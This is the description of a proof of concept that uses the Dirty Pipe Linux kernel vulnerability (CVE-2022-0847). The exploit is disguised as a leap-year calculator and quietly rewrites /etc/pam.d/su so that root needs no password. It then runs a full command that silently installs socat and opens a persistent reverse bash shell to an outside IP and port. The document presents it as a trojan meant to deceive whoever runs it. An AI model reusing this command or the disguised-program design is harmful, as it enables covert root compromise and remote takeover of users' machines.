This is a POC showing how to pop a reverse bash shell for arbitrary code execution on a foreign machine using CVE-2022-0847, "Dirty Pipe Exploit". This vulnerability only affects Linux kernel versions 5.8 or newer but was patched in versions 5.16.11, 5.15.25, 5.10.102, and up. Update your kernel :)
This exploit was found by security researcher Max Kellermann. I will not go into the details of this exploit as he does far better than I can in his write-up here; https://dirtypipe.cm4all.com/
This proof of concept is seemingly a simple leap year program that will tell you if the given year is a leap year.
In the background, I change a line in /etc/pam.d/s
I change the line auth sufficient pam_rootok.so to auth sufficient pam_permit.so This change allows us to run commands as the superuser without entering a password.
After this, we can simply use C's system() function to execute commands as su.
I run
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
This line installs socat to the system and directs the output to a null file so the user does not see the output of the download. Next, I execute a socat command to connect to a foreign machine with the specified ip and port.
The & puts this process into the background so that after the user closes the terminal the connection will still be held.
Executing the program on a vulnerable machine:
Connecting to the vulnerable machine:
